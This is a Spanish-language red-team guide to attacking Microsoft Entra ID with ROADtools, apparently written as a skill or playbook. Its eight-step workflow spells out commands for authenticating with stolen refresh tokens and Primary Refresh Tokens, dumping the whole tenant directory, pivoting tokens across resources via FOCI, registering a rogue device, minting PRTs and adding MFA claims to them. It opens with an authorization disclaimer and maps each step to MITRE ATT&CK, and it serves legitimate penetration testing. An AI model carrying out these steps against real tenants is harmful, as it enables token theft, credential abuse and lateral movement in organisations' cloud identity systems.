¿Qué hace Atacando Entra ID con ROADtools?
Solo para uso autorizado: ROADtools interactúa con inquilinos activos de Microsoft Entra ID (Azure AD) y puede registrar dispositivos, acuñar e intercambiar tokens, y enumerar objetos del directorio. Úsalo únicamente contra inquilinos que poseas o para los cuales tengas autorización explícita por escrito para realizar pruebas. El acceso no autorizado a un inquilino en la nube es ilegal.
Resumen
ROADtools (por Dirk-jan Mollema) es el conjunto ofensivo por defecto para Microsoft Entra ID. Tiene dos componentes principales:
- ROADrecon — se autentica en Entra ID, recopila todo el directorio en una base de datos SQLite local a través de la API de Azure AD Graph, y sirve una interfaz gráfica Angular para explorar usuarios, grupos, roles, aplicaciones, entidades de servicio, políticas de acceso condicional y objetos de dispositivo sin conexión. Un sistema de plugins permite exportar a BloodHound y analizar políticas de CA.
- roadtx (ROADtools Token eXchange) — adquiere e intercambia tokens emitidos por Entra ID a través de varios flujos OAuth (ROPC, código de dispositivo, código de autorización, intercambio de token de actualización, aplicación federada), realiza registro de dispositivos y maneja operaciones de Primary Refresh Token (PRT), incluyendo SSO basado en PRT y acuñación de cookies. Su conocimiento de FOCI (Family of Client IDs) permite que un token de actualización para un cliente propio se canjee por otro recurso.
Juntos cubren la fase de Descubrimiento contra la identidad en la nube: enumerar el inquilino (T1087.004 Account Discovery: Cloud Account) y obtener/manipular los tokens necesarios para acceder a Microsoft Graph, Azure Resource Manager y otros recursos. La base de datos offline de ROADrecon hace que el reconocimiento sea sigiloso y rápido; roadtx hace que el robo de tokens, el abuso de PRT y el pivoteo entre recursos sean prácticos.
Cuándo Usarlo
- Durante una prueba de penetración autorizada de Azure/Entra ID o un red-team en la nube.
- Cuando tengas una credencial de punto de apoyo, un token de actualización o un PRT y necesites enumerar el inquilino.
- Cuando debas pivotar un token de un recurso (p. ej., Azure CLI) a otro (p. ej., Microsoft Graph).
- Cuando estés validando que las políticas de acceso condicional, el cumplimiento de dispositivos y los controles de token realmente limitan a un atacante.
- Cuando estés mapeando rutas de ataque de Entra ID (exportar a BloodHound para análisis de grafos).
Prerrequisitos
- Autorización por escrito y alcance definido para el inquilino objetivo.
- Una credencial inicial: nombre de usuario/contraseña (sin flujos MFA), una sesión de código de dispositivo, un token de acceso/actualización, o un PRT de un dispositivo registrado.
- Python 3.7+ (los flujos Selenium de roadtx necesitan un geckodriver/Firefox compatible).
# Instalación principal (roadlib es una dependencia compartida, se instala automáticamente)
python -m pip install roadrecon
python -m pip install roadtx
# Verificar
roadrecon --help
roadtx --help
Objetivos
- Autenticarse en Entra ID mediante el flujo apropiado (código de dispositivo preferido para MFA).
- Recopilar todo el directorio con ROADrecon y analizarlo en la GUI.
- Exportar el directorio a BloodHound y ejecutar los plugins de análisis de políticas de CA.
- Adquirir tokens con roadtx e intercambiar tokens de actualización entre recursos/clientes.
- Demostrar SSO basado en PRT y documentar el acceso resultante.
Mapeo MITRE ATT&CK
| ID | Táctica | Nombre de Técnica Oficial | Rol en esta habilidad |
|---|---|---|---|
| T1087.004 | Descubrimiento | Descubrimiento de Cuentas: Cuenta en la Nube | ROADrecon enumera usuarios/cuentas del inquilino |
| T1069.003 | Descubrimiento | Descubrimiento de Grupos de Permisos: Grupos en la Nube | ROADrecon enumera grupos y roles de Entra ID |
| T1538 | Descubrimiento | Panel de Control del Servicio en la Nube | Exploración GUI de la configuración del inquilino |
| T1550.001 | Evasión de Defensa / Movimiento Lateral | Uso de Material de Autenticación Alternativo: Token de Acceso de Aplicación | Intercambio de token de actualización de roadtx entre recursos |
| T1528 | Acceso a Credenciales | Robar Token de Acceso de Aplicación | Adquisición de token PRT/de roadtx |
Flujo de Trabajo
Paso 1: Autenticarse con ROADrecon
Elige el flujo que coincida con tu punto de apoyo. El código de dispositivo soporta MFA; ROPC (-u/-p) no.
# Nombre de usuario/contraseña (heredado, sin MFA)
roadrecon auth -u [email protected] -p 'Password123!'
# Flujo de código de dispositivo (soporta MFA)
roadrecon auth --device-code
# Desde un token de acceso o actualización robado
roadrecon auth --access-token <JWT>
roadrecon auth --refresh-token <refresh_token>
# Desde un PRT (con clave de sesión) para acceso de nivel SSO
roadrecon auth --prt <prt> --prt-sessionkey <session_key>
La autenticación escribe .roadtools_auth en el directorio de trabajo.
Paso 2: Recopilar el directorio
# Recopilación completa en roadrecon.db (predeterminado)
roadrecon gather
# Incluir detalles de MFA/método de autenticación (requiere un rol con privilegios)
roadrecon gather --mfa
Paso 3: Explorar en la GUI
roadrecon gui
# Navega a http://127.0.0.1:5000 — usuarios, grupos, roles, aplicaciones,
# entidades de servicio, dispositivos y políticas de acceso condicional, todo offline.
Paso 4: Ejecutar plugins de análisis
# Analizar políticas de acceso condicional
roadrecon plugin policies -h
roadrecon plugin policies
# Exportar los datos recopilados a un formato importable por BloodHound
roadrecon plugin bloodhound -h
roadrecon plugin bloodhound
Paso 5: Adquirir tokens con roadtx
# ROPC: obtener un token de Microsoft Graph para el cliente Azure CLI
roadtx gettokens -u [email protected] -p 'Password123!' -c azcli -r msgraph
# Autenticación interactiva estilo código de dispositivo para el cliente Teams a Graph
roadtx interactiveauth -c msteams -r msgraph
# Desde un token de actualización existente
roadtx gettokens --refresh-token <refresh_token> -r msgraph
Los tokens se escriben en .roadtools_auth (usa --tokens-stdout para imprimir).
Paso 6: Intercambiar tokens de actualización entre recursos (pivoteo FOCI)
Un token de actualización FOCI obtenido para un cliente propio puede canjearse por otro recurso sin reautenticación.
# Convertir el token de actualización almacenado en un token de Azure Resource Manager
roadtx refreshtokento -r azrm
# Convertir a un token de Graph con ámbito a través del cliente Teams
roadtx refreshtokento -c msteams -r msgraph
# Encontrar qué clientes propios tienen un ámbito dado
roadtx getscope -s https://graph.microsoft.com/mail.read --foci
Paso 7: Registro de dispositivo y SSO basado en PRT
# Registrar un dispositivo (virtual) en el inquilino
roadtx device -n redteam-device
# Solicitar un PRT usando el certificado/clave del dispositivo y las credenciales del usuario
roadtx prt -u [email protected] -p 'Password123!' --key-pem redteam-device.key --cert-pem redteam-device.pem
# Usar el PRT para autenticar un cliente a un recurso (nivel SSO)
roadtx prtauth -c msteams -r msgraph
# Enriquecer un PRT con una reclamación MFA interactiva
roadtx prtenrich -u [email protected]
Paso 8: Inspeccionar tokens
# Decodificar e imprimir las reclamaciones del token almacenado o proporcionado
roadtx describe -t <JWT>
roadtx describe < .roadtools_auth | jq .
Herramientas y Recursos
| Herramienta | Propósito | Fuente Principal |
|---|---|---|
| ROADtools (repositorio) | Visión general del conjunto + wiki | https://github.com/dirkjanm/ROADtools |
| Wiki de ROADrecon | Uso de autenticación/recopilación/GUI/plugins | https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon |
| Wiki de roadtx | Intercambio de tokens + flujos PRT/dispositivo | https://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx) |
| BloodHound CE | Análisis de grafo de datos exportados de Entra ID | https://github.com/SpecterOps/BloodHound |
| Plataforma de identidad de Microsoft | Referencia de tokens/flujos | https://learn.microsoft.com/entra/identity-platform/ |
Criterios de Validación
- Autenticado en el inquilino objetivo mediante un flujo autorizado;
.roadtools_authcreado. - Directorio recopilado en
roadrecon.db(con--mfadonde el rol lo permita). - GUI explorada; usuarios, grupos, roles, aplicaciones, políticas de CA revisados.
- Plugins de políticas de CA y BloodHound ejecutados; datos exportados.
- Tokens adquiridos con roadtx para al menos un recurso.
- Intercambio de token de actualización a un segundo recurso demostrado (pivoteo FOCI).
- Dispositivo registrado y SSO basado en PRT demostrado (donde esté dentro del alcance).
- Reclamaciones del token inspeccionadas con
roadtx describe. - Hallazgos y acceso documentados para el informe del compromiso.